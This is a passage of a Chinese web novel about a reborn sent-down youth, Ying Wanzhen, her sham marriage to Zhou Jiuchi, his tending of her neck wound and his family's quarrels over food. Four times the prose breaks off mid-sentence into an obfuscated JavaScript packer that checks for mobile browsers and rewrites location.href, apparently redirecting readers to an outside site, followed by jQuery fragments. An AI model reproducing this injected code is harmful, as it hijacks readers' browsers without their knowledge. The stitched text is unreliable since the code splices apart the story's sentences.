应晚真惊愕地看了眼自己的婆婆,其实每个人的饭都是她分的,所以每个人面上都会摆好几块肉,自己的碗里本来就有三块,现在碗底还有三块。 应晚真顿时不知道该说些什么。 其实无论前世什么时候,谢红英也没对她做些什么,她是周久迟的妈,所以她想着自己的儿子也没错,而且她也不是没有是非观,最起码不会一直偏帮自己的儿子,相反因为周久迟对自己的态度,所以她对自己也是宽容多,更多的也是爱屋及乌。 说起来,前世她和周久迟的婚姻中,其实也经历了一段很美好的时候。 可到底是怎么走到离婚的呢?已经再活了二十多年的应晚真已经知道了,不仅仅是周久迟这个闷葫芦一般什么也不说的性子,更因为自己从来也没有给过周久迟反馈,或者说就是从一开始自己就先入为主了。 因为不喜欢这个村子,不喜欢这个地方,不喜欢自己在这里经历的一切,更讨厌这里的搬弄是非,可自己也太过孤傲,从来不解释不说话,所以就这么渐行渐远。可是这样的结局真的是自己想要的吗,前世离婚后的二十多年,自己的事业虽然越来越好,可是自己却不算幸福,后来再遇见周久迟,他也变得更好了。 他也在意当年的事,也仍然报有遗憾,只可惜当两人刚想捡回错过的人生后,自己却病了。不知道这次的重生是为什么,是给自己的一个机会吗? 应晚真不明白,但是如果真的可以,她愿意做出改变,慢慢和周久迟一起经营一个家,是的,经营。 下午的秋收应晚真还是按照自己的节奏来干活。 她不是秋收的熟手,更何况能干多少不重要,重要的也还是态度。 等到下工的时候,应晚真才看到今天自己干了5个公分,不多,但是她自己已经很满足了。 晚饭还是红薯饭,只是多了一个蛋花菜汤,这是之前都没有的,谢红英说是大家今天辛苦了就多加个菜,并且还提前舀了一大勺给应晚真,里面还有一大块没有打散的鸡蛋。 “今天老三家的受苦了,就多吃一口,其他的大家分分吧。” 因着中午的事,孙盼睇并不敢多说什么,更何况过了大半天,应晚真的脖子现在看上去更恐怖了,碘酒那半黄不黄的,还有一些青紫的痕迹,看起来就吓人。 应晚真吃完也没在堂屋多待,而是自己准备洗澡水打算好好洗一个澡。 今天割了一天的稻子,她浑身都是稻穗上的毛茸茸的东西,干活的时候就挺痒的,而且她的伤口也要再清理一下,不清理估计要化脓了。 明天可能要换个活了,毕竟割稻子要弯腰,一弯腰头脖子这边就会挨到稻穗,这样伤口更不容易好,虽然这个伤口并不算太严重,但是不注意依然会有变严重的风险。 应晚真一边计划第二天的事一边忙活着烧水。 因为做了饭,灶膛还是有火的,她要做的就是添柴火再把热水拎进洗澡间。 说是洗澡间,其实就是几块木板搭建的简易棚子,顶是一大块水泥瓦。 在应晚真没有嫁进来的时候,周家其实是没有洗澡间的,男的一般都是趁着夜色在院子里冲凉,女子在厨房冲一冲,但应晚真不习惯。 记得那时候,应晚真刚答应嫁给周久迟,周久迟就开始着手准备结婚的事,虽然应晚真没直接说,但是周久迟还是看出了应晚真的小心思。 虽然应晚真对这个潦草的洗澡间也不是那么喜欢,但是在这个普遍没有洗澡间的地方,能够拥有这样一间洗澡间已经很不错了。 “晚真!” 应晚真手里一轻,热水桶就已经出现在来人的手上了。 应晚真看向来人,正是周久迟,这时候的他还略显青涩,不过依旧是她记忆中的模样。 不知道是前世的遗憾还是这几天生活在与他息息相关的地方,应晚真顿时鼻子就有点泛酸。 而周久迟则在帮忙拿走应晚真手上的桶时,才趁着昏黄的灯光看见了应晚真脖子上的伤。 “你怎么了?”周久迟砰地放下桶,桶在地上发出一声闷哼。 周久迟捧着应晚真的脸,低下头,聚精会神看向应晚真的脖子。 应晚真心里一咯噔,她刚刚对着镜子看过自己的伤口,因为下午还割了一宿的稻子,所以现在的伤口看起来确实不怎么好。 她忙抓住周久迟的手,不让他碰,也微微低头不想让周久迟看到自己的脖子,“没什么,不小心伤到了,我要洗澡了,今天割了稻子,身上很多稻穗,有点痒。” 周久迟原本有些紧张愤怒的心顿时被应晚真这娓娓道来的声音给抚平了,他也冷静了下来。 应晚真没有看向周久迟,只是一直看着他的衣摆,但是她依然能感受到周久迟一直放在自己身上的视线。 应晚真看着周久迟深呼了口气,“好,我帮你提水。” 说完,周久迟弯腰提起木桶就把这半桶热水给倒进洗澡间的澡盆里,倒完便转身往厨房去。 应晚真看着周久迟那张紧绷的脸,看着他目不斜视从自己身边往厨房走,顿时心里突突直跳。 这不就是前世他们俩的相处吗?一个不说一个不多问,所以最后才错过那么多年,造成这么多遗憾,难道重来一次还要有这样的结局吗? 应晚真的心沉重得比下午割稻子汗水黏黏糊糊糊了自己一脸时还难受。 而这时候周久迟那一步一步走得很稳也很快,堂屋里的光打到他身上,给他的后背笼罩了一层阴影,应晚真突然害怕了,害怕再一次延续前世的结局。 她急急上前,想要拉住周久迟却只抓住了他的一片衣角,但应晚真抓得很紧,怎么也不想放开。 周久迟想着待会儿要去找家里问清楚发生什么事了,衣角却突然被拉住。 “周久迟。” 周久迟顿时感觉自己的心被攥得紧紧的,他回过身,喉头不自觉滚了滚,却没有出声,不是不想出声而是害怕出声也害怕像以前一样得不到答案。 两人已经在厨房的门口了,因为电费贵,所以这时候虽然通电了,但是大家到了晚上也是尽早睡觉的,并且灯能不开还是尽量不开的。 厨房的灯就没有开。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420810|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有厅堂那盏灯照过来,应晚真背对着灯光,加上应晚真又是微微低着头,所以周久迟并不能很好地看清应晚真的表情。 不等周久迟开口,应晚真就缓缓把头抬起来,并且把自己伤到的那边脖子暴露在周久迟视线里。 周久迟一开始还不明所以,直到看到应晚真脖子上那又青又黄的痕迹,还有直直的一条伤口,顿时眼睛都气红了。 “这是谁……”周久迟克制不住地问,嘴唇也有点颤抖,但声音仍压低了,他害怕吓到应晚真。但是话刚说到一半他就停下来,他脑海里有个可怕的想法,那就是这是应晚真自己弄的。 至于为什么要在自己的脖子上这么弄,周久迟不敢想也害怕去想。 “我,自己。” 应晚真依然是那副轻柔的嗓音。 听到周久迟耳朵里却不是那么的温柔,而像把刀子在他心里一下一下地片,一下一下地片成片。 不过应晚真并没有给周久迟多少伤心乱想的时间,“是因为王二狗来追我,他听说我们是假结婚,所以今天上午看到我就来骚扰我,我没办法,就把镰刀架在自己脖子上了。” 周久迟越听眉头皱得越紧,最后声音沙哑得不行,“那也不能……” 应晚真摇摇头,“没事,后来爹娘还有大队长他们都来了,所以就没事了。我也去赤脚大夫那里看过了,上过了药。” 过了好几秒周久迟才喉咙里吐出一个嗯字,他看着应晚真的脖子,又看了看应晚真衣服上沾染的泥土,“上午的事,那你下午还去上工了。” 应晚真点点头,“反正也上过药了,秋收嘛,总得出一份力。不过因为脖子可以露出来,所以又飘了点脏东西在里面,我想洗澡了。” 最后一句话,是应晚真抬起眼,认真地看着周久迟说的。 周久迟不知道为什么,顿时有点惊慌失措,“嗯,好,我这就给你打水,你洗的时候小心点,要是有事得喊我,今天去赤脚大夫那里有拿药回来吗?” “拿了一瓶碘酒,等会儿再抹一下。”应晚真跟着周久迟进厨房。 周久迟总归是男的,而且还是当过兵又是从小干农活的男子,所以虽然是木桶,但他就能轻松提满满一大桶。 应晚真跟在他后面亦步亦趋。 “你在这等着,我去打点冷水来兑。”刚把热水倒进澡盆,周久迟就拦住想继续跟着的应晚真。 家里的水井就在院子里,距离这里也就五米,那里比厨房还要暗一点,厨房还能借堂屋的光,这里就被房子挡住了。 应晚真点了下头,但周久迟一走,她又跟着了。 看着周久迟不太赞同的神色,应晚真则认真看向周久迟,“我想跟你一起。” 周久迟一阵惊愕,但是他立刻反应过来并且移开了视线,并不是他不想看,而是他觉得太梦幻了,简直就像做梦一样。应晚真待他一直就像是一个好同志,虽然他对应晚真的心思并不清白,可这也是他从来没有想过的。 还没等周久迟把嘴角翘起来,堂屋那边就隐隐有了声响。 “谁在那边?” 6. 第 6 章 是谢红英的声音,应晚真并没有直接喊人,而是看向了周久迟。 周久迟手下没停,继续往下拉着吊绳。 “娘,是我,我出车回来了。” “老三啊!这么快就回来了,不是要明天才能到吗?”谢红英的声音里难掩兴奋,不怪她,原本要晚点才回来的儿子提前回来了,哪个当娘的不高兴呢? “嗯,我跟老吴一起,这不是秋收嘛,想着早点回来帮忙,早上提早出发了,所以这会儿就到了。” “这都大老远,光早上早点有什么用,肯定路上也没怎么歇息吧?” 周久迟就只是笑笑,“我不累。” 谢红英看着周久迟手里不停,也看出了是给他自己媳妇打水,虽然谢红英心疼自己儿子刚回来又干活,但是这毕竟是人家小两口的事,她也管不着,也不会去招人嫌。 “嗯,行,这么晚了,你吃了吗,饿不饿,饿了娘给你下碗面条去。” 听着谢红英的话应晚真才抬头看向周久迟,是啊,他急忙出车回来也不知道在路上吃了没有。 “不饿,我路上买了两个烧饼还有几个包子吃。”周久迟从井里打完最后一吊桶水,木桶就满了,“娘,我没事,天也黑了,你先去睡吧。我明天不用出车,在家帮忙。” 谢红英也知道自己这是招儿子嫌了,连忙答应,刚转身走就想起自己三儿媳妇脖子上的伤,准备跟儿子说说,但是看自己儿子这样,也想让两夫妻自己去交流,也希望两人能尽快把日子过起来,便转身走了。 周久迟把凉水慢慢兑到澡盆里,“你试试?” “嗯,差不多了,我先洗澡,等我洗完你也洗一个吧,不要就在院子里随便用冷水,厨房里还有热水,现在天气已经转凉了,会冷的。” 周久迟心底觉得没必要,但是他还是乖乖点了点头,毕竟这是媳妇关心自己,而且热水澡也确实舒服点。 而另一边的谢红英,则是竖着耳朵听外面的动静。 周父看见了皱着眉不耐烦地问,“你干嘛呢?跟做贼一样。” “你懂什么,老三回来了,我看看他们两夫妻现在干嘛?” “老三回来了?”周父心下奇怪,“这次怎么这么早,老三媳妇那脖子……” 周母叹了口气,“那还能怎么办,让他们两口子去弄吧。” “也是,孩子的事还是让孩子来处理。”说完,周父转身就去睡了。 应晚真洗完澡,就让周久迟去洗了。 在周久迟洗澡的期间,应晚真也找了两个碗,给周久迟冲了糖水和鸡蛋,鸡蛋是应晚真偷偷攒的,至于为什么不开火做饭,主要是这种烧柴的灶她并不会看火候,而且她现在也是刚重生几天,对这些也不熟悉,更重要的是现在还是一大家子生活,要是随便煮点什么来吃,肯定又会闹起一阵风波。 当然这么一碗鸡蛋肯定不顶什么用,主要是暖胃,而且还可以就着桃酥这些点心吃。 周久迟洗澡很快,基本上应晚真刚弄好他就进来了。 “怎么不擦头发,还有这么多水。” 周久迟憨憨地拿手抹了下头,应晚真看着他的模样,拿起一件他的旧衣服罩在周久迟的头上。 “来,把水擦一擦,擦完吃吧。” 周久迟接过衣服,心里还是有点受宠若惊,甚至有点慌,他也就是出去出个车,怎么一回来她就变化这么大呢?想着周久迟就悄悄往应晚真看,人还是这么个人。 只是因为两人是假夫妻,所以她虽然一直对自己很尊敬,也不是尊敬吧,是拘礼是那种陌生人的疏离感,乍然她开始关心自己了,而且今天他还听见了她随自己喊娘了。 周久迟左思右想中,耳边又传来一句话。 “擦完这里有碗糖水鸡蛋,还有你之前买的桃酥,就着吃吧。” 这下周久迟更是有点害怕了。 “晚真,怎么了?” “嗯?”应晚真也不明所以,看到周久迟的神情后也反应了过来。 她露出一个笑,“刚刚娘不是问你饿不饿吗?你赶着回来肯定没好好吃饭,我也不太会做饭,就随便给你弄点吃的。” 应晚真看着周久迟不太相信的模样也没多说,“你快点吃吧,等会儿还要你帮我上药。” 周久迟顺着应晚真的示意看向她的脖子,顿时,那斑驳的伤口差点让周久迟失去理智,是了,她还受伤了,是王二狗。 “你饿吗?也来吃点吧。” 应晚真听着过来喝了口汤,再吃了一小口桃酥,“嗯,我好了,剩下的你吃吧。” “就吃这么点?” “我本来也不饿,就只是尝尝而已,其他的你吃就好了。” 周久迟想让应晚真再喝点,但是不敢。他看了看应晚真手里拿着的药,是不是因为担心要麻烦自己帮忙上药才这样对自己,以此来进行交换? 怀着这样的心思,周久迟嘴里的糖水鸡蛋也不甜了,但是也不敢不喝,他担心不喝待会儿晚真会觉得她欠自己的。 应晚真并不知道周久迟这想法,她心情甚至还不错,以为自己和周久迟的关系正在慢慢靠近。 “我给你上药吧。” 应晚真把碘酒递给周久迟,只是突然有点不明白这人是怎么了,因为他的语气很是硬邦邦的。 两人就这么各怀心思,应晚真靠近周久迟把脖子暴露在他面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420811|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周久迟看到这个脖子伤口后,不可避免的神色黑了起来。 “嘶”尽管应晚真做好了心理准备,但是在碘酒冰凉地触碰到自己肌肤的那一刻,她还是不可避免地缩了一下脖子。 周久迟那向来稳如泰山地人这会儿心里也有点慌。 “怎么样?很疼吗?” 应晚真摇摇头,又让自己靠近了点,“没事,就那一会儿的事,你再帮我上吧。” 周久迟这会儿更加小心了。 两人都没说什么话,周久迟是担心自己说多了会遭嫌弃,应晚真则是不知道该说些什么。 因为要给应晚真的脖子上药,所以两人挨得比较近,两人又都不说话,其他感官就变得灵敏了很多,尤其是现在这种夜深人静的时候。 应晚真能清晰地感受到周久迟的呼吸,也能看见被昏黄的灯照出来的人影,还能看见周久迟脸上的毫毛。 两个人挨得很近。 不多久,应晚真感觉到自己的脖子拂过一阵风,转身就看见周久迟在小心翼翼地吹着自己的伤口。 似是感觉到应晚真的动作,周久迟突然变得尴尬起来,他知道自己的动作有点太过逾矩了。 他慢慢地退后了两步,保持着两人的距离。 “晚真,对不起,这次的事怪我,是我没能把这些事处理好,你放心吧,以后不会发生这样的事了,你就安心在这里住下就行。” 应晚真看着周久迟的眼神,突然眼眶有点发涩。 周久迟看见这样的应晚真,心里更加自责,“都是我不好,我会好好处理这件事的,你可不可以……” “没有,这事不怪我们,我们都没有错。”应晚真的眼神真挚而热忱。 周久迟看着应晚真看过来的那个澄澈眼神,顿时忘记自己该说什么,只是视线一触碰到这残忍的伤口,他眼神马上就沉了下来,声音也带着点颤抖, “晚真,以后有事都跟我说好吗,我都会好好处理的,你,不要拿自己的生命开玩笑。” 应晚真一愣,看着周久迟有些发抖的手臂,她刚刚一直以为周久迟是觉得自己受委屈了,但是没想到自己脖子上的伤口给他带来这么大的不安。 是的,不安。 以前应晚真受委屈了,他也生气也担心,可应晚真从来没有在他身上看到这种类似于困顿的神情。 这一刻,应晚真突然觉得有什么正中她眉心。 前世也是因为你不说我不问,所以就这样导致两人的结局,而现在也是,应晚真下意识觉得这事是小事,因为这个伤确实在应晚真的预料之内,所以她不意外,可是周久迟不这么认为,尤其是看到自己脖子上那触目惊心的伤口时。 7. 第 7 章 想到这,应晚真吸了吸鼻子,把刚刚突然涌起的泪意憋回去,深吸了口气,“其实这个脖子也不是我要抹的,当然,也确实是我做的。 “我当时把镰刀放在脖子上只是希望能通过这个举动让大家都关注到这件事,因为这种事防不胜防,你也知道的。 “以前我们没结婚他就骚扰过我,现在是听到我们假结婚的消息,所以时不时又来。我这样做也是想要彻底把事闹大,闹大了他们就不敢这么明目张胆找我了,至于伤到脖子这事,当时人太多了,所以我也没注意就伤到了脖子。” 应晚真一直关注着周久迟的神色,看到周久迟的神色从担心变得越来越冷,便马上抓住了周久迟的一个胳膊,“别生气了好不好?我以后会注意的,你放心吧,我比谁都更珍惜我这条命。 “而且这次也有了好结果,王二狗和李富贵两个人给我写了道歉信,大队一份我一份他们自己拿着一份,要是以后他们再犯,我就会拿着这封道歉信新账旧账一起算。” 周久迟原本冷硬的脸随着应晚真的触碰也变得缓和起来, “嗯,好,我知道了。那你还有哪里伤到了吗?” 应晚真摇摇头,“虽然今天闹得这么大,但是以后闲话还是不少的,而且……外面都在传我们假结婚,他们都会说你。” 周久迟看着应晚真心疼的眼神,顿时觉得这一切都是值得的,本来娶应晚真就是他想要的,都是他占了便宜。 “当初我们结婚的时候,我就说了,我只是不想看到你在这里过得艰难,虽然我也不能很大程度地改变这件事,但是我希望你可以在我家有一个避风的地方。” 应晚真点点头。 周久迟看着对自己笑的应晚真,把今晚压在自己心里的话给说了出来,“晚真,现在虽然发生了这样的事,但我是个男人,对我的影响没什么的。当初结婚的时候,你说的我都没忘也不会忘,所以你可以安心住在我这。” 应晚真愣了愣,就看到周久迟拿着碗离开了房间。 他的动作很轻,而外面的天也很黑。 应晚真在床上没等多久就看见周久迟回来了,他一回来就在自己的被窝躺下了,“睡吧,明天不要去割稻子了,你的脖子受不住这个稻芒,我明儿也去秋收,你多休息会儿。” 说完,周久迟也不等应晚真反应就拉过被子盖上了。 应晚真看着周久迟的后背好几眼,才熄灯躺下。 黑夜里,应晚真并没有马上睡着,而是想起了当初周久迟找到自己要跟自己结婚时说的话。 当时应晚真对周久迟的印象只停留在他是这个村子里最有出息的年轻人,曾经参过军,现在更是县城运输队的司机,除此之外,就是他帮忙给自己解围,最后就是经常在自己一人走路的时候不远不近地跟着,防止有什么意外发生。 第一次周久迟问应晚真要不要嫁给他的时候是因为周久迟多次给应晚真解围,所以就有闲话说出来了,周久迟知道后就来问应晚真是否愿意嫁给自己。 所以对于周久迟的求婚,应晚真其实是意外的,同时也是害怕的。 她知道自己的成分不好,所以是很多人避之唯恐不及的存在,而这个村子里最有出息的年轻人为什么要娶自己,可能自己这副好样貌吸引了他,但样貌这种东西是最靠不住的,而且因为流言蜚语在一起就更靠不住了。 但是那时候周久迟说的是,“我的成分好,你嫁给我别人就不会对你说三道四也不会总是骚扰你。我们可以假结婚。” 应晚真清晰地记得当初自己的回答,“我为什么相信你,相信你和那些流氓不是同一类人?” 周久迟很明显愣了一下,应该是从来没人把他和流氓混为一谈吧。 后来他的回答是,“我向国旗宣誓,我周久迟为人正直绝对不是那种下三滥更不是什么臭流氓。” 此时的应晚真对这些是最不屑一顾的,毕竟自己的父母就是在国旗下被下放,别说是不是在国旗下,就是宣誓她也一点不信。 所以第一次的求婚是无疾而终的。 不过,由于成分的问题,又是千里迢迢而来的知青,再加上那姣好的容貌,她在这里并没有得到善待,更没有什么建设农村的机会,因为每天那些流言蜚语和没来由地中伤就已经让她筋疲力竭。 就在她的床铺第三次被人泼了水之后,她只能在知青院子外透口气,不是她忍气吞声,而是因为这事闹了也没用,大家只会觉得她父母下放了,她成分不好,得到这些待遇是应该的。 这时候,就是周久迟第二次问应晚真愿不愿意嫁给他了。 “应知青,我知道这很冒昧,但是我还想问你,你愿意跟我结婚吗?”周久迟像是生怕自己会被拒绝,连忙解释,“跟我结婚,你就可以搬去我家了,我有自己的房间,而且我家成分很好。你是一个读书人,也是大城市的,我知道我配不上你,所以我们的结婚并不是真的结婚,只是现在这样环境的权宜之策,你觉得可以吗? “以后我会关注回城的消息,如果有我一定尽力给你争取。” 应晚真毫无疑问地心动了,不仅仅是回城,更是在这里的庇护,但她也知道天上不会掉馅饼,更何况回城机会,这多难啊。 “那你想要什么?” 周久迟眼神有一抹刺痛,“我不想要什么,我只希望你在我们村子的这段时间可以过得好一点。” 尽管当时应晚真过得很艰难,她也心动了,但是她也并没有被眼前的利益给诱惑。 “世上从来没有免费的午餐,也许你真的是心存善意,但是我不接受。”应晚真自嘲一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420812|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“或者说你现在提出的确实让我很心动,可能这些话你跟这里的每个知青说他们都会心动,但是我……” 应晚真不知道该怎么表达自己当时的情绪,只是摇头笑了笑。 周久迟这会儿有点着急,他一直都在外面出车,所以外面是什么情况他比谁都了解,现在外面并不太平,而他也经常要去出车,他很害怕下一次他出车回来就听到不好的消息,这是他长这么大以来第一件他害怕的事,应晚真也是第一个他忍不住想念的人,忍不住想要对她好的人,无论她需不需要。 这么想着,他也这么把自己的想法说出来了,“我真的觉得你是一个很好的人,我知道现在不太平,所以我想你在离你家这么远的地方可以过得好一点,我只是想你过得好一点。” 应晚真觉得眼前这个人有点可笑,“为什么?” 周久迟不太好意思把自己的心思说出口,可是现在他也没有什么办法,“应知青,其实我……我中意你,我知道我自己是个农村人,是个大老粗,配不上你,所以我没有真的想跟你成为夫妻,我只是想尽我的能力让你在周家村过得好一点。” 应晚真心里是有点触动的,但也只是有点而已,从她父母提前得到消息要被下放把自己送到这里下乡,再到自己得到确切消息父母确实被下放之后,她已经对人性不报有任何希望了,所以这时候的触动就显得特别渺小。 可是在很久没有得到温情的情况下,应晚真是有点心软的,有点想抓住这样的救命稻草的心动。 她知道知青点外面不是说话的地方,尽管这里已经是知青点的外围,但她还是往外走了走。 等到周围彻底空旷之后,应晚真认真地看着周久迟,“你的意思是我嫁给你,但是不需要和你做夫妻,你还会帮我找机会离开这里?” 周久迟忙不迭点头。 应晚真笑笑,“你做这一切的是因为你中意我?” 听到这话的周久迟耳根不可避免地红了。 “可是你知道吗,人是不会知足的。”应晚真看着周久迟收了心思听自己讲,便继续说,“如果我嫁给你了,你一直对我好,但是我却不把自己当作你的妻子,那你一味地付出,到最后人的心里就会不满足,就会埋怨,就会怨恨,会觉得自己对她这么好了,但是她竟然一点也不感动。” 周久迟的表情变得凝重起来,“不会的我不会的。” “我是妇女,你是男人,你的成分好,我嫁给你之后确实可以保证我在这里过得会比我现在好,最起码看在你的面子上看在你家里的面子上别人也不敢对我怎么样,我确实可以放心很多,也不用每天都过着提心吊胆的日子。可是我最后还是会面临一个……一个不定时的危险。” 周久迟拧着眉,问道,“什么?” “你。” 8. 第 8 章 “到时候大家都会知道我和你是夫妻,你想对我做什么都是应该的,大家都会认同,那么最后我的所有困难都来源于你。人的欲望是满足不了的,会越来越多,你现在想要的是娶我回家,尽管什么都不做你都高兴,可是等真的把我娶回家之后,慢慢地,你就会想要得到更多……” 周久迟呼吸一滞,刚想说些什么就被应晚真打断了。 “你不用着急否认,其实否不否认都不重要,不是吗?” * 应晚真想到这突然就不自觉地叹了口气,这叹息在这不见五指的黑夜非常清晰。 “怎么了?睡不着吗?” 应晚真循着声音看向周久迟睡觉的地方,虽然只能看到黑乎乎一片。 “没什么,想起以前的事了。” 周久迟心里一紧,“没事的,现在外面已经比前几年好很多了。” 应晚真一愣,随之一笑,“嗯,我知道。你也睡不着吗?” 周久迟确实睡不着,虽然之前都是这样睡的,可不知道为什么今晚他就是有点睡不着,他知道自己不算是应晚真的良人,可是想到今晚上两人的相处,他又觉得很温暖,想到她为自己准备糖水鸡蛋,还给衣服自己擦头发…… 想到这,周久迟狠狠地摇了摇头,不行,不能想这些,当初她说的对,一个人的欲望会越来越多的,也会越来越贪心的,就像现在的他,他已经答应过她的,不能做这种事,不能伤害她,只要她过得好一点不就好了吗? 最初自己的想法不就是这样吗? “我在想今年的秋收。” “嗯?” “今年的收成不错,而且这几天天气也很好,看起来今年可以过一个肥年了。”说起过年,周久迟就有点兴奋了,“你家那边过年要吃什么?” 应晚真不免也被带入到过年的期待中,“我家每年必不可少的就是饺子,从小吃的最多的是包菜馅儿的。这里呢?” 刚问完,应晚真就想起前世在这边过年的情景,这边过年一定会有的就是豆子粄。 “我家这边都是鸡肉,往年生活没那么好的时候就和邻居一起杀一只鸡,分着吃。这几年更好一点了,每年过年自己家能杀一只鸡。我们这以前老一辈以前都说啊,二十三小年那天就吃糖饼,二十四就磨豆腐,二十五做三角饼,二十六做豆子粄,二十七外面集市就开始热闹了,二十八有人家就开始炖肉炸丸子,二十九家里上上下下打扫,三十就吃年夜饭,大年初一就去拜年!不过,这几年日子没那么好过,大家也就捡几样来做。” 应晚真静静听着,脑海中也跟着周久迟的描述开始想象过年时的热闹了,印象中这里过年确实有不同的风味,但是前世应晚真从来没有真正融入过,自然也不能理解这里过年的韵味了。 “今年是个丰收年,大家应该都会热闹点吧。” 说起这个,周久迟眼睛就亮了,“是啊,我前段时间就听到说今年收成好,大家伙辛苦一年了,到时候再不好过的人家都会热闹点的。” …… 不知不觉已经深夜了,应晚真打了个哈欠, “快睡吧,今天你累了一天了。” 两人也就渐渐进入梦乡。 * 第二天应晚真是被外面的公鸡打鸣声给叫醒的,家里总共三只鸡,有一只是公鸡。 公鸡打鸣的时间早,也才四点多的样子,外面天还有点黑,不过这时候大家都睡得早,毕竟晚上也没什么活动也没灯,电还费钱。 应晚真一醒就发现周久迟早就起床了,“怎么这么早就起了?” 周久迟本来轻轻下床,“我吵醒你了?” “没有,听见鸡打鸣了。” “我给你弄点热水,你再躺会儿吧。” 应晚真点点头却没继续躺回去,她这会儿一点也不困倦,相反很想看看这凌晨的静谧。 已经是十一月了,露水很深重,在被窝里还感觉不出来,可一出来就能感觉到一股凉意,一下子人就清醒了不少。 “怎么出来了?冷不?”周久迟刚进厨房烧火就看见应晚真进来。 “还好,露挺重的。刚刚在床上的时候看外面天还是黑的,现在已经蒙蒙亮了。” “是啊,凌晨这会儿是最黑的,黑完马上就亮了。” 应晚真看了看锅,里面已经放好了水也不需要她再干什么,就干脆待在周久迟身边看着他生火。 周久迟手里的动作有一瞬间的停住,不过他很快就继续干活,一点都不让人看出异样。他本来就是干惯了这些活的,生起火来很快,而火光也把整个屋子照亮,周久迟控制不住地把眼神看向应晚真,虽然手里正在忙活,但是他的心思已经全部都在应晚真的脸上了。 小小的火光中,周久迟眼里只剩下托着腮在发呆的应晚真,等火已经燃起来了,他发现应晚真仍然保持着原来的动作。周久迟不想打扰应晚真,甚至就想这么看着她,不过很可惜,很快他就听见了堂屋的吱呀声,他一听就知道这是自己娘起来了,他不想周母看见这个场面,便主动起来。 看着应晚真澄澈的双眼看着自己,周久迟心里顿时一阵悸动。 “水马上就热了,等会儿用热水洗漱,洗漱完我再给你涂药。” 应晚真后知后觉想起昨天自己脖子受伤的事,缓缓点了点头。 等换完药,周久迟便拿着自己昨天换下的脏衣服出去了。 吃早饭的时候,周久迟便直接说了今天应晚真不去割稻子这件事。 谢红英也没什么意见,毕竟在她眼里,应晚真割一整天稻子也割不了多少,再说了昨儿出这么大事人坚持一整天割稻子已经不容易,但是周母这么想,其他就不这么想了。 首先提出不同意见的是周二媳妇孙盼睇,她故意勾起嘴角笑,笑意却不答眼底,“老三媳妇怎么了,身体不舒服啊?昨天老三没回来,你都割了一天的稻子,今天就不行了,咱家都是干了活的有饭吃,你这一碗基本上都是米汤,看看别人,大家伙都是一半番薯一半米汤,这会儿连稻子都不割了?不知道还以为你怀孕了。” 说完,孙盼睇又刻意地瞟了瞟应晚真的肚子。 本来孙盼睇刚开口谢红英就想训她,但是应晚真的情况确实跟孙盼睇说的一样。谢红英当家这么多年,知道分配不均匀就会闹,所以这会儿她也没再出头。 应晚真也皱了皱眉,她早在拿到自己的饭时就发现自己的饭和平常不一样,番薯非常少,她确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420813|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实不喜欢吃番薯粥,但是她也知道这是周久迟把自己碗里的米粥分给了她,而他自己的碗里则是一大半番薯。 “二嫂,你要是想吃米粥可以让二哥把他碗里的米粥分给你,我媳妇碗里的米粥是我那份,我愿意给我媳妇吃米粥,而且这粥大家都是一样的份。我媳妇身体不好,她只是今天不割稻子而已,我每个月上班都会给家里交二十块钱,平常要是不上班我也会上工,我想我挣的够我跟我媳妇在家吃饭的了。” 说到每个月交二十块钱,孙盼睇就没声了,毕竟这年头这光景,一个月能给家里交20块钱已经算是顶顶好了,像村子里在地里干活的,到年底算公分也就七八十块钱,再随便买点啥基本上就只有四五十了,所以老三一个月给家里二十块钱真的是不可谓不多。 本来孙盼睇还觉得自己有理,但是这交上来的钱就算是公中的,她家也有份,要是这工作是家里给弄的她还能说上一说,可问题是这工作可是靠周久迟他自己的本事得来的,谁也说不得一点。 但是这还没完,周久迟说完又悠悠地说,“我和我媳妇的事就不要二嫂管这么多了,你自己三个孩子还有娘家一大家子,二嫂要想管可以去你娘家啊,你不是最喜欢去你娘家嚼舌头,说些有的没的吗?” 